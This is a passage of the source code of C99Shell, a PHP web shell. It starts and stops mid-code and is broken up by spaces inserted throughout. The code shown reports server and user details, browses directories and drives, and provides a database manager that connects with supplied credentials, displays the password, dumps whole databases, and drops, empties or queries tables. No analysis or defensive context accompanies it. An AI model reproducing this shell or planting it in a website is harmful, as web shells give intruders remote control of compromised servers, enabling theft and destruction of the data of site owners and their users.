env("SERVER_SOFTWARE"); if (!ereg("PHP/".phpvers ion(),$DISP_SERVER_SOFTW ARE)) {$DISP_SERVER_SOFT WARE .= ". PHP/".phpvers ion();} $DISP_SERVER_SOF TWARE = str_replace("PHP /".phpversion(),"<a href =\"".$surl."act=phpinfo\ " target=\"_blank\"><b>< u>PHP/".phpversion()."</ u></b></a>",htmlspecialc hars($DISP_SERVER_SOFTWA RE)); @ini_set("highligh t.bg",$highlight_bg); // FFFFFF @ini_set("highlig ht.comment",$highlight_c omment); //#FF8000 @ini_ set("highlight.default", $highlight_default); //# 0000BB @ini_set("highlig ht.html",$highlight_html ); //#000000 @ini_set("h ighlight.keyword",$highl ight_keyword); //#007700 @ini_set("highlight.str ing",$highlight_string); //#DD0000 if (!is_array ($actbox)) {$actbox = ar ray();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_ar r = $notls = null; $ud = urlencode($d); ?><html> <head><meta http-equiv=" Content-Type" content="t ext/html; charset=window s-1251"><meta http-equiv ="Content-Language" cont ent="en-us"><title><?php echo getenv("HTTP_HOST" ); ?> - c99shell</title> <STYLE>TD { FONT-SIZE: 8 pt; COLOR: #ebebeb; FONT -FAMILY: verdana;}BODY { scrollbar-face-color: # 800000; scrollbar-shadow -color: #101010; scrollb ar-highlight-color: #101 010; scrollbar-3dlight-c olor: #101010; scrollbar -darkshadow-color: #1010 10; scrollbar-track-colo r: #101010; scrollbar-ar row-color: #101010; font -family: Verdana;}TD.hea der { FONT-WEIGHT: norma l; FONT-SIZE: 10pt; BACK GROUND: #7d7474; COLOR: white; FONT-FAMILY: verd ana;}A { FONT-WEIGHT: no rmal; COLOR: #dadada; FO NT-FAMILY: verdana; TEXT -DECORATION: none;}A:unk nown { FONT-WEIGHT: norm al; COLOR: #ffffff; FONT -FAMILY: verdana; TEXT-D ECORATION: none;}A.Links { COLOR: #ffffff; TEXT- DECORATION: none;}A.Link s:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;} A:hover { COLOR: #ffffff ; TEXT-DECORATION: under line;}.skin0{position:ab solute; width:200px; bor der:2px solid black; bac kground-color:menu; font -family:Verdana; line-he ight:20px; cursor:defaul t; visibility:hidden;;}. skin1{cursor: default; f ont: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonf ace;visibility:hidden; b order: 2 outset buttonhi ghlight; font-family: Ve rdana,Geneva, Arial; fon t-size: 10px; color: bla ck;}.menuitems{padding-l eft:15px; padding-right: 10px;;}input{background- color: #800000; font-siz e: 8pt; color: #FFFFFF; font-family: Tahoma; bor der: 1 solid #666666;}te xtarea{background-color: #800000; font-size: 8pt ; color: #FFFFFF; font-f amily: Tahoma; border: 1 solid #666666;}button{b ackground-color: #800000 ; font-size: 8pt; color: #FFFFFF; font-family: T ahoma; border: 1 solid # 666666;}select{backgroun d-color: #800000; font-s ize: 8pt; color: #FFFFFF ; font-family: Tahoma; b order: 1 solid #666666;} option {background-color : #800000; font-size: 8p t; color: #FFFFFF; font- family: Tahoma; border: 1 solid #666666;}iframe {background-color: #8000 00; font-size: 8pt; colo r: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px ; LINE-HEIGHT: 150%}bloc kquote{ font-size: 8pt; font-family: Courier, Fi xed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; m argin-bottom: 5em; margi n-right: 3em; margin-lef t: 4em; background-color : #B7B2B0;}body,td,th { font-family: verdana; co lor: #d9d9d9; font-size: 11px;}body { background -color: #000000;}</style ></head><BODY text=#ffff ff bottomMargin=0 bgColo r=#000000 leftMargin=0 t opMargin=0 rightMargin=0 marginheight=0 marginwi dth=0><center><TABLE sty le="BORDER-COLLAPSE: col lapse" height=1 cellSpac ing=0 borderColorDark=#6 66666 cellPadding=5 widt h="100%" bgColor=#333333 borderColorLight=#c0c0c 0 border=1 bordercolor=" #C0C0C0"><tr><th width=" 101%" height="15" nowrap bordercolor="#C0C0C0" v align="top" colspan="2"> <p><font face=Webdings s ize=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></ b></font></a><font face= Webdings size=6><b>!</b> </font></p></center></th ></tr><tr><td><p align=" left"><b>Software: <?php echo $DISP_SERVER_ SOFTWARE; ?></b> </ p><p align="left"><b>una me -a: <?php echo w ordwrap(php_uname(),90," <br>",1); ?></b> </ p><p align="left"><b><?p hp if (!$win) {echo word wrap(myshellexec("id"),9 0,"<br>",1);} else {echo get_current_user();} ?> </b> </p><p align=" left"><b>Safe-mode:  ;<?php echo $hsafemode; ?></b></p><p align="left "><?php $d = str_replace ("\\",DIRECTORY_SEPARATO R,$d); if (empty($d)) {$ d = realpath(".");} else if(realpath($d)) {$d = r ealpath($d);} $d = str_r eplace("\\",DIRECTORY_SE PARATOR,$d); if (substr( $d,-1) != DIRECTORY_SEPA RATOR) {$d .= DIRECTORY_ SEPARATOR;} $d = str_rep lace("\\\\","\\",$d); $d ispd = htmlspecialchars( $d); $pd = $e = explode( DIRECTORY_SEPARATOR,subs tr($d,0,-1)); $i = 0; fo reach($pd as $b) { $t = ""; $j = 0; foreach ( $e as $r) { $t.= $r.D IRECTORY_SEPARATOR; if ($j == $i) {break;} $ j++; } echo "<a href=\ "".$surl."act=ls&d=".url encode($t)."&sort=".$sor t."\"><b>".htmlspecialch ars($b).DIRECTORY_SEPARA TOR."</b></a>"; $i++; } echo "   ;"; if (is_writable($d)) { $wd = true; $wdt = "<font color=green>[ ok ]</font>"; echo "<b><fo nt color=green>".view_pe rms(fileperms($d))."</fo nt></b>"; } else { $wd = false; $wdt = "<font color=red>[ Read-Only ]< /font>"; echo "<b>".vie w_perms_color($d)."</b>" ; } if (is_callable("dis k_free_space")) { $free = disk_free_space($d); $total = disk_total_spa ce($d); if ($free === f alse) {$free = 0;} if ( $total === false) {$tota l = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $us ed = $total-$free; $fre e_percent = round(100/($ total/$free),2); echo " <br><b>Free ".view_size( $free)." of ".view_size( $total)." (".$free_perce nt."%)</b>"; } echo "<br >"; $letters = ""; if ($ win) { $v = explode("\\ ",$d); $v = $v[0]; for each (range("a","z") as $letter) { $bool = $i sdiskette = in_array($le tter,$safemode_diskettes ); if (!$bool) {$bool = is_dir($letter.":\\"); } if ($bool) { $l etters .= "<a href=\"".$ surl."act=ls&d=".urlenco de($letter.":\\")."\"".( $isdiskette?" onclick=\" return confirm('Make sur e that the diskette is i nserted properly, otherw ise an error may occur.' )\"":"").">[ "; if ($ letter.":" != $v) {$lett ers .= $letter;} else {$letters .= "<font col or=green>".$letter."</fo nt>";} $letters .= " ]</a> "; } } if (!em pty($letters)) {echo "<b >Detected drives</b>: ". $letters."<br>";} } if ( count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urle ncode($d),$item[1]); $ item[1] = str_replace("% sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARA TOR,$d); unset($a[count( $a)-2]); $v = join(DIREC TORY_SEPARATOR,$a);} $ item[1] = str_replace("% upd",urlencode($v),$item [1]); echo "<a href=\" ".$item[1]."\">".$item[0 ]."</a>   ; "; } } echo "</p ></td></tr></table><br>" ; if ((!empty($donated_h tml)) and (in_array($act ,$donated_act))) {echo " <TABLE style=\"BORDER-CO LLAPSE: collapse\" cellS pacing=0 borderColorDark =#666666 cellPadding=5 w idth=\"100%\" bgColor=#3 33333 borderColorLight=# c0c0c0 border=1><tr><td width=\"100%\" valign=\" top\">".$donated_html."< /td></tr></table><br>";} echo "<TABLE style=\"BO RDER-COLLAPSE: collapse\ " cellSpacing=0 borderCo lorDark=#666666 cellPadd ing=5 width=\"100%\" bgC olor=#333333 borderColor Light=#c0c0c0 border=1>< tr><td width=\"100%\" va lign=\"top\">"; if ($act == "") {$act = $dspact = "ls";} if ($act == "sq l") { $sql_surl = $surl ."act=sql"; if ($sql_lo gin) {$sql_surl .= "&sq l_login=".htmlspecialcha rs($sql_login);} if ($s ql_passwd) {$sql_surl .= "&sql_passwd=".htmlspec ialchars($sql_passwd);} if ($sql_server) {$sql_ surl .= "&sql_server=".h tmlspecialchars($sql_ser ver);} if ($sql_port) {$sql_surl .= "&sql_por t=".htmlspecialchars($sq l_port);} if ($sql_db) {$sql_surl .= "&sql_ db=".htmlspecialchars($s ql_db);} $sql_surl .= " &"; ?><h3>Attention! SQ L-Manager is <u>NOT</u> ready module! Don't repo rts bugs.</h3><TABLE sty le="BORDER-COLLAPSE: col lapse" height=1 cellSpac ing=0 borderColorDark=#6 66666 cellPadding=5 widt h="100%" bgColor=#333333 borderColorLight=#c0c0c 0 border=1 bordercolor=" #C0C0C0"><tr><td width=" 100%" height="1" colspan ="2" valign="top"><cente r><?php if ($sql_server ) { $sql_sock = mysql _connect($sql_server.":" .$sql_port, $sql_login, $sql_passwd); $err = m ysql_smarterror(); @my sql_select_db($sql_db,$s ql_sock); if ($sql_que ry and $submit) {$sql_qu ery_result = mysql_query ($sql_query,$sql_sock); $sql_query_error = mysql _smarterror();} } else {$sql_sock = false;} e cho "<b>SQL Manager:</b> <br>"; if (!$sql_sock) { if (!$sql_server) { echo "NO CONNECTION";} else {echo "<center><b> Can't connect</b></cente r>"; echo "<b>".$err."</ b>";} } else { $sql quicklaunch = array(); $sqlquicklaunch[] = arr ay("Index",$surl."act=sq l&sql_login=".htmlspecia lchars($sql_login)."&sql _passwd=".htmlspecialcha rs($sql_passwd)."&sql_se rver=".htmlspecialchars( $sql_server)."&sql_port= ".htmlspecialchars($sql_ port)."&"); $sqlquickl aunch[] = array("Query", $sql_surl."sql_act=query &sql_tbl=".urlencode($sq l_tbl)); $sqlquicklaun ch[] = array("Server-sta tus",$surl."act=sql&sql_ login=".htmlspecialchars ($sql_login)."&sql_passw d=".htmlspecialchars($sq l_passwd)."&sql_server=" .htmlspecialchars($sql_s erver)."&sql_port=".html specialchars($sql_port). "&sql_act=serverstatus") ; $sqlquicklaunch[] = array("Server variables" ,$surl."act=sql&sql_logi n=".htmlspecialchars($sq l_login)."&sql_passwd=". htmlspecialchars($sql_pa sswd)."&sql_server=".htm lspecialchars($sql_serve r)."&sql_port=".htmlspec ialchars($sql_port)."&sq l_act=servervars"); $s qlquicklaunch[] = array( "Processes",$surl."act=s ql&sql_login=".htmlspeci alchars($sql_login)."&sq l_passwd=".htmlspecialch ars($sql_passwd)."&sql_s erver=".htmlspecialchars ($sql_server)."&sql_port =".htmlspecialchars($sql _port)."&sql_act=process es"); $sqlquicklaunch[ ] = array("Logout",$surl ."act=sql"); echo "<ce nter><b>MySQL ".mysql_ge t_server_info()." (proto v.".mysql_get_proto_inf o ().") running in ".htm lspecialchars($sql_serve r).":".htmlspecialchars( $sql_port)." as ".htmlsp ecialchars($sql_login)." @".htmlspecialchars($sql _server)." (password - \ "".htmlspecialchars($sql _passwd)."\")</b><br>"; if (count($sqlquicklau nch) > 0) {foreach($sqlq uicklaunch as $item) {ec ho "[ <a href=\"".$item[ 1]."\"><b>".$item[0]."</ b></a> ] ";}} echo "</ center>"; } echo "</td ></tr><tr>"; if (!$sql_ sock) {?><td width="28%" height="100" valign="to p"><center><font size="5 "> i </font></center><li >If login is null, login is owner of process.<li >If host is null, host i s localhost</b><li>If po rt is null, port is 3306 (default)</td><td width ="90%" height="1" valign ="top"><TABLE height=1 c ellSpacing=0 cellPadding =0 width="100%" border=0 ><tr><td> <b>Please , fill the form:</b><tab le><tr><td><b>Username</ b></td><td><b>Password</ b> </td><td><b>Data base</b> </td></tr> <form action="<?php echo $surl; ?>" method="POST "><input type="hidden" n ame="act" value="sql"><t r><td><input type="text" name="sql_login" value= "root" maxlength="64"></ td><td><input type="pass word" name="sql_passwd" value="" maxlength="64"> </td><td><input type="te xt" name="sql_db" value= "" maxlength="64"></td>< /tr><tr><td><b>Host</b>< /td><td><b>PORT</b></td> </tr><tr><td align=right ><input type="text" name ="sql_server" value="loc alhost" maxlength="64">< /td><td><input type="tex t" name="sql_port" value ="3306" maxlength="6" si ze="3"></td><td><input t ype="submit" value="Conn ect"></td></tr><tr><td>< /td></tr></form></table> </td><?php } else { //Start left panel if (!empty($sql_db)) { ?><td width="25%" heigh t="100%" valign="top"><a href="<?php echo $surl. "act=sql&sql_login=".htm lspecialchars($sql_login )."&sql_passwd=".htmlspe cialchars($sql_passwd)." &sql_server=".htmlspecia lchars($sql_server)."&sq l_port=".htmlspecialchar s($sql_port)."&"; ?>"><b >Home</b></a><hr size="1 " noshade><?php $resu lt = mysql_list_tables($ sql_db); if (!$result ) {echo mysql_smarterror ();} else { ec ho "---[ <a href=\"".$sq l_surl."&\"><b>".htmlspe cialchars($sql_db)."</b> </a> ]---<br>"; $c = 0; while ($row = my sql_fetch_array($result) ) {$count = mysql_query ("SELECT COUNT(*) FROM " .$row[0]); $count_row = mysql_fetch_array($count ); echo "<b> <a h ref=\"".$sql_surl."sql_d b=".htmlspecialchars($sq l_db)."&sql_tbl=".htmlsp ecialchars($row[0])."\"> <b>".htmlspecialchars($r ow[0])."</b></a> (".$cou nt_row[0].")</br></b>"; mysql_free_result($count ); $c++;} if (!$c) { echo "No tables found in database.";} } } else { ?><td width ="1" height="100" valign ="top"><a href="<?php ec ho $sql_surl; ?>"><b>Hom e</b></a><hr size="1" no shade><?php $result = mysql_list_dbs($sql_soc k); if (!$result) {ec ho mysql_smarterror();} else { ?><form action="<?php echo $sur l; ?>"><input type="hidd en" name="act" value="sq l"><input type="hidden" name="sql_login" value=" <?php echo htmlspecialch ars($sql_login); ?>"><in put type="hidden" name=" sql_passwd" value="<?php echo htmlspecialchars($ sql_passwd); ?>"><input type="hidden" name="sql_ server" value="<?php ech o htmlspecialchars($sql_ server); ?>"><input type ="hidden" name="sql_port " value="<?php echo html specialchars($sql_port); ?>"><select name="sql_d b"><?php $c = 0; $dbs = ""; while ($ row = mysql_fetch_row($r esult)) {$dbs .= "<optio n value=\"".$row[0]."\"" ; if ($sql_db == $row[0] ) {$dbs .= " selected";} $dbs .= ">".$row[0]."</ option>"; $c++;} ech o "<option value=\"\">Da tabases (".$c.")</option >"; echo $dbs; } ?></select><hr size=" 1" noshade>Please, selec t database<hr size="1" n oshade><input type="subm it" value="Go"></form><? php } //End left pan el echo "</td><td widt h=\"100%\" height=\"1\" valign=\"top\">"; //St art center panel $dipl ay = true; if ($sql_db ) { if (!is_numeric ($c)) {$c = 0;} if ($ c == 0) {$c = "no";} echo "<hr size=\"1\" nos hade><center><b>There ar e ".$c." table(s) in thi s DB (".htmlspecialchars ($sql_db).").<br>"; i f (count($dbquicklaunch) > 0) {foreach($dbsqlqui cklaunch as $item) {echo "[ <a href=\"".$item[1] ."\">".$item[0]."</a> ] ";}} echo "</b></cent er>"; $acts = array(" ","dump"); if ($sql_a ct == "tbldrop") {$sql_q uery = "DROP TABLE"; for each($boxtbl as $v) {$sq l_query .= "\n`".$v."` , ";} $sql_query = substr( $sql_query,0,-1).";"; $s ql_act = "query";} el seif ($sql_act == "tblem pty") {$sql_query = ""; foreach($boxtbl as $v) { $sql_query .= "DELETE FR OM `".$v."` \n";} $sql_a ct = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0 ) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptb ls = array($sql_tbl);} $ sql_act = "dump";} el seif ($sql_act == "tblch eck") {$sql_query = "CHE CK TABLE"; foreach($boxt bl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_q uery = substr($sql_query ,0,-1).";"; $sql_act = " query";} elseif ($sql _act == "tbloptimize") { $sql_query = "OPTIMIZE T ABLE"; foreach($boxtbl a s $v) {$sql_query .= "\n `".$v."` ,";} $sql_query = substr($sql_query,0,- 1).";"; $sql_act = "quer y";} elseif ($sql_act == "tblrepair") {$sql_q uery = "REPAIR TABLE"; f oreach($boxtbl as $v) {$ sql_query .= "\n`".$v."` ,";} $sql_query = subst r($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbl analyze") {$sql_query = "ANALYZE TABLE"; foreach ($boxtbl as $v) {$sql_qu ery .= "\n`".$v."` ,";} $sql_query = substr($sql _query,0,-1).";"; $sql_a ct = "query";} elseif ($sql_act == "deleterow ") {$sql_query = ""; if (!empty($boxrow_all)) {$ sql_query = "DELETE * FR OM `".$sql_tbl."`;";} el se {foreach($boxrow as $ v) {$sql_query .= "DELET E * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n"; } $sql_query = substr($s ql_query,0,-1);} $sql_ac t = "query";} elseif ($sql_tbl_act == "insert ") { if ($sql_tbl _insert_radio == 1) { $keys = ""; $akeys = array_keys($sql _tbl_insert); forea ch ($akeys as $v) {$keys .= "`".addslashes($v)." `, ";} if (!empty($ keys)) {$keys = substr($ keys,0,strlen($keys)-2); } $values = ""; $i = 0; foreach ( array_values($sql_tbl_in sert) as $v) {if ($funct = $sql_tbl_insert_funct s[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)." '"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empt y($values)) {$values = s ubstr($values,0,strlen($ values)-2);} $sql_q uery = "INSERT INTO `".$ sql_tbl."` ( ".$keys." ) VALUES ( ".$values." ); "; $sql_act = "quer y"; $sql_tbl_act = "browse"; } else if ($sql_tbl_insert_radi o == 2) { $set = mysql_buildwhere($sql_ tbl_insert,", ",$sql_tbl _insert_functs); $s ql_query = "UPDATE `".$s ql_tbl."` SET ".$set." W HERE ".$sql_tbl_insert_q ." LIMIT 1;"; $resu lt = mysql_query($sql_qu ery) or print(mysql_smar terror()); $result = mysql_fetch_array($res ult, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse" ; } } if ($sql _act == "query") { echo "<hr size=\"1\" n oshade>"; if (($subm it) and (!$sql_query_res ult) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Qu ery was empty";} echo "< b>Error:</b> <br>".$sql_ query_error."<br>";} if ($sql_query_result o r (!$sql_confirm)) {$sql _act = $sql_goto;} i f ((!$submit) or ($sql_a ct)) {echo "<table borde r=\"0\" width=\"100%\" h eight=\"1\"><tr><td><for m action=\"".$sql_surl." \" method=\"POST\"><b>"; if (($sql_query) and (! $submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} ec ho "</b><br><br><textare a name=\"sql_query\" col s=\"100\" rows=\"10\">". htmlspecialchars($sql_qu ery)."</textarea><br><br ><input type=\"hidden\" name=\"sql_act\" value=\ "query\"><input type=\"h idden\" name=\"sql_tbl\" value=\"".htmlspecialch ars($sql_tbl)."\"><input type=\"hidden\" name=\" submit\" value=\"1\"><in put type=\"hidden\" name =\"sql_goto\" value=\"". htmlspecialchars($sql_go to)."\"><input type=\"su bmit\" name=\"sql_confir m\" value=\"Yes\"> <input type=\"submit\" v alue=\"No\"></form></td> </tr></table>";} } if (in_array($sql_act,$ acts)) { ?><table border="0" width="100%" height="1"><tr><td widt h="30%" height="1"><b>Cr eate new table:</b><form action="<?php echo $sur l; ?>"><input type="hidd en" name="act" value="sq l"><input type="hidden" name="sql_act" value="ne wtbl"><input type="hidde n" name="sql_db" value=" <?php echo htmlspecialch ars($sql_db); ?>"><input type="hidden" name="sql _login" value="<?php ech o htmlspecialchars($sql_ login); ?>"><input type= "hidden" name="sql_passw d" value="<?php echo htm lspecialchars($sql_passw d); ?>"><input type="hid den" name="sql_server" v alue="<?php echo htmlspe cialchars($sql_server); ?>"><input type="hidden" name="sql_port" value=" <?php echo htmlspecialch ars($sql_port); ?>"><inp ut type="text" name="sql _newtbl" size="20">  ;<input type="submit" va lue="Create"></form></td ><td width="30%" height= "1"><b>Dump DB:</b><form action="<?php echo $sur l; ?>"><input type="hidd en" name="act" value="sq l"><input type="hidden" name="sql_act" value="du mp"><input type="hidden" name="sql_db" value="<? php echo htmlspecialchar s($sql_db); ?>"><input t ype="hidden" name="sql_l ogin" value="<?php echo htmlspecialchars($sql_lo gin); ?>"><input type="h idden" name="sql_passwd" value="<?php echo htmls pecialchars($sql_passwd) ; ?>"><input type="hidde n" name="sql_server" val ue="<?php echo htmlspeci alchars($sql_server); ?> "><input type="hidden" n ame="sql_port" value="<? php echo htmlspecialchar s($sql_port); ?>"><input type="text" name="dump_ file" size="30" value="< ?php echo "dump_".getenv ("SERVER_NAME")."_".$sql _db."_".date("d-m-Y-H-i- s").".sql"; ?>"> <i nput type="submit" name= \"submit\" value="Dump"> </form></td><td width="3 0%" height="1"></td></tr ><tr><td width="30%" hei ght="1"></td><td width=" 30%" height="1"></td><td width="30%" height="1"> </td></tr></table><?php if (!empty($sql_act) ) {echo "<hr size=\"1\" noshade>";} if ($sql _act == "newtbl") { echo "<b>"; if ((mysql_create_db ($sql _newdb)) and (!empty($sq l_newdb))) {echo "DB \"" .htmlspecialchars($sql_n ewdb)."\" has been creat ed with success!</b><br> "; } else {echo "Can't create DB \"".htm lspecialchars($sql_newdb )."\".<br>Reason:</b> ". mysql_smarterror();} } elseif ($sql_act == "dump") { if (em pty($submit)) { $diplay = false; e cho "<form method=\"GET\ "><input type=\"hidden\" name=\"act\" value=\"sq l\"><input type=\"hidden \" name=\"sql_act\" valu e=\"dump\"><input type=\ "hidden\" name=\"sql_db\ " value=\"".htmlspecialc hars($sql_db)."\"><input type=\"hidden\" name=\" sql_login\" value=\"".ht mlspecialchars($sql_logi n)."\"><input type=\"hid den\" name=\"sql_passwd\ " value=\"".htmlspecialc hars($sql_passwd)."\"><i nput type=\"hidden\" nam e=\"sql_server\" value=\ "".htmlspecialchars($sql _server)."\"><input type =\"hidden\" name=\"sql_p ort\" value=\"".htmlspec ialchars($sql_port)."\"> <input type=\"hidden\" n ame=\"sql_tbl\" value=\" ".htmlspecialchars($sql_ tbl)."\"><b>SQL-Dump:</b ><br><br>"; echo "< b>DB:</b> <input ty pe=\"text\" name=\"sql_d b\" value=\"".urlencode( $sql_db)."\"><br><br>"; $v = join (";",$dmp tbls); echo "<b>Onl y tables (explode \";\") <b><sup>1</sup></b >:</b> <input type= \"text\" name=\"dmptbls\ " value=\"".htmlspecialc hars($v)."\" size=\"".(s trlen($v)+5)."\"><br><br >"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspec ialchars("./dump_".geten v("SERVER_NAME")."_".$sq l_db."_".date("d-m-Y-H-i -s").".sql");} echo "<b>File:</b> <inp ut type=\"text\" name=\" sql_dump_file\" value=\" ".$tmp."\" size=\"".(str len($tmp)+strlen($tmp) % 30)."\"><br><br>"; echo "<b>Download: </b> <input type=\"chec kbox\" name=\"sql_dump_d ownload\" value=\"1\" ch ecked><br><br>"; ec ho "<b>Save to file: </b > <input type=\"che ckbox\" name=\"sql_dump_ savetofile\" value=\"1\" checked>"; echo "< br><br><input type=\"sub mit\" name=\"submit\" va lue=\"Dump\"><br><br><b> <sup>1</sup></b> - all, if empty"; echo "</ form>"; } else { $diplay = true ; $set = array(); $set["sock"] = $sql_ sock; $set["db"] = $sql_db; $dump_out = "download"; $set[ "print"] = 0; $set[ "nl2br"] = 0; $set[ ""] = 0; $set["file "] = $dump_file; $s et["add_drop"] = true; $set["onlytabs"] = a rray(); if (!empty( $dmptbls)) {$set["onlyta bs"] = explode(";",$dmpt bls);} $ret = mysql _dump($set); if ($s ql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream "); header("Conten t-length: ".strlen($ret) ); header("Content -disposition: attachment ; filename=\"".basename( $sql_dump_file)."\";"); echo $ret; e xit; } elseif ($sql_dump_savetofile) { $fp = fopen( $sql_dump_file,"w"); if (!$fp) {echo "<b>D ump error! Can't write t o \"".htmlspecialchars($ sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); ec ho "<b>Dumped! Dump has been writed to \"".htmls pecialchars(realpath($sq l_dump_file))."\" (".vie w_size(filesize($sql_dum p_file)).")</b>."; } } else {ech o "<b>Dump: nothing to d o!</b>";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tb l_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COU NT(*) FROM `".$sql_tbl." `;"); $count_row = mysql_fetch_array($count ); mysql_free_resul t($count); $tbl_str uct_result = mysql_query ("SHOW FIELDS FROM `".$s ql_tbl."`;"); $tbl_ struct_fields = array(); while ($row = mysq l_fetch_assoc($tbl_struc t_result)) {$tbl_struct_ fields[] = $row;} i f ($sql_ls > $sql_le) {$ sql_le = $sql_ls + $perp age;} if (empty($sq l_tbl_page)) {$sql_tbl_p age = 0;} if (empty ($sql_tbl_ls)) {$sql_tbl _ls = 0;} if (empty ($sql_tbl_le)) {$sql_tbl _le = 30;} $perpage = $sql_tbl_le - $sql_tb l_ls; if (!is_numer ic($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$s ql_order); if (coun t($e) == 2) { if ($e[0] == "d") {$asc _desc = "DESC";} e lse {$asc_desc = "ASC";} $v = "ORDER BY `" .$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SE LECT * FROM `".$sql_tbl. "` ".$v."LIMIT ".$sql_tb l_ls." , ".$perpage.""; $result = mysql_que ry($query) or print(mysq l_smarterror()); ec ho "<hr size=\"1\" nosha de><center><b>Table ".ht mlspecialchars($sql_tbl) ." (".mysql_num_fields($ result)." cols and ".$co unt_row[0]." rows)</b></ center>"; echo "<a href=\"".$sql_surl."sql_ tbl=".urlencode($sql_tbl )."&sql_tbl_act=structur e\">[ <b>Structure< /b> ]</a> &nbs p; "; echo "<a href=\"".$sql_surl."sql _tbl=".urlencode($sql_tb l)."&sql_tbl_act=browse\ ">[ <b>Browse</b>&n bsp;]</a> &nb sp;"; echo "<a href =\"".$sql_surl."sql_tbl= ".urlencode($sql_tbl)."& sql_act=tbldump&thistbl= 1\">[ <b>Dump</b>&n bsp;]</a> &nb sp;"; echo "<a href =\"".$sql_surl."sql_tbl= ".urlencode($sql_tbl)."& sql_tbl_act=insert\">[&n bsp;<b>Insert</b> ] </a> "; if ($sql_tbl_act = = "structure") {echo "<b r><br><b>Coming sooon!</ b>";} if ($sql_tbl_ act == "insert") { if (!is_array($sql _tbl_insert)) {$sql_tbl_ insert = array();} if (!empty($sql_tbl_ins ert_radio)) { } else { echo "<br><br><b> Inserting row into table :</b><br>"; if (! empty($sql_tbl_insert_q) ) { $sql_ query = "SELECT * FROM ` ".$sql_tbl."`"; $sql_query .= " WHERE".$ sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = m ysql_query($sql_query,$s ql_sock) or print("<br>< br>".mysql_smarterror()) ; $values = mysq l_fetch_assoc($result); mysql_free_resul t($result); } else {$values = arra y();} echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColo rDark=#666666 cellPaddin g=5 width=\"1%\" bgColor =#333333 borderColorLigh t=#c0c0c0 border=1><tr>< td><b>Field</b></td><td> <b>Type</b></td><td><b>F unction</b></td><td><b>V alue</b></td></tr>"; foreach ($tbl_struct _fields as $field) { $name = $fie ld["Field"]; if (empty($sql_tbl_insert_q )) {$v = "";} ec ho "<tr><td><b>".htmlspe cialchars($name)."</b></ td><td>".$field["Type"]. "</td><td><select name=\ "sql_tbl_insert_functs[" .htmlspecialchars($name) ."]\"><option value=\"\" ></option><option>PASSWO RD</option><option>MD5</ option><option>ENCRYPT</ option><option>ASCII</op tion><option>CHAR</optio n><option>RAND</option>< option>LAST_INSERT_ID</o ption><option>COUNT</opt ion><option>AVG</option> <option>SUM</option><opt ion value=\"\">--------< /option><option>SOUNDEX< /option><option>LCASE</o ption><option>UCASE</opt ion><option>NOW</option> <option>CURDATE</option> <option>CURTIME</option> <option>FROM_DAYS</optio n><option>FROM_UNIXTIME< /option><option>PERIOD_A DD</option><option>PERIO D_DIFF</option><option>T O_DAYS</option><option>U NIX_TIMESTAMP</option><o ption>USER</option><opti on>WEEKDAY</option><opti on>CONCAT</option></sele ct></td><td><input type= \"text\" name=\"sql_tbl_ insert[".htmlspecialchar s($name)."]\" value=\"". htmlspecialchars($values [$name])."\" size=50></t d></tr>"; $i++; } echo "</ table><br>"; echo "<input type=\"radio\" name=\"sql_tbl_insert_ra dio\" value=\"1\""; if ( empty($sql_tbl_insert_q) ) {echo " checked";} ech o "><b>Insert as new row </b>"; if (!empty ($sql_tbl_insert_q)) {ec ho " or <input type=\"ra dio\" name=\"sql_tbl_ins ert_radio\" value=\"2\" checked><b>Save</b>"; ec ho "<input type=\"hidden \" name=\"sql_tbl_insert _q\" value=\"".htmlspeci alchars($sql_tbl_insert_ q)."\">";} echo " <br><br><input type=\"su bmit\" value=\"Confirm\" ></form>"; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql _tbl_ls); $sql_tbl _le = abs($sql_tbl_le); echo "<hr size=\"1 \" noshade>"; echo "<img src=\"".$surl."ac t=img&img=multipage\" he ight=\"12\" width=\"10\" alt=\"Pages\"> "; $b = 0; for( $i=0;$i<$numpages;$i++) { if (($i*$ perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl." sql_tbl=".urlencode($sql _tbl)."&sql_order=".html specialchars($sql_order) ."&sql_tbl_ls=".($i*$per page)."&sql_tbl_le=".($i *$perpage+$perpage)."\"> <u>";} echo $i; if (($i*$perpage ! = $sql_tbl_ls) or ($i*$p erpage+$perpage != $sql_ tbl_le)) {echo "</u></a> ";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "<form method=\"G ET\"><input type=\"hidde n\" name=\"act\" value=\ "sql\"><input type=\"hid den\" name=\"sql_db\" va lue=\"".htmlspecialchars ($sql_db)."\"><input 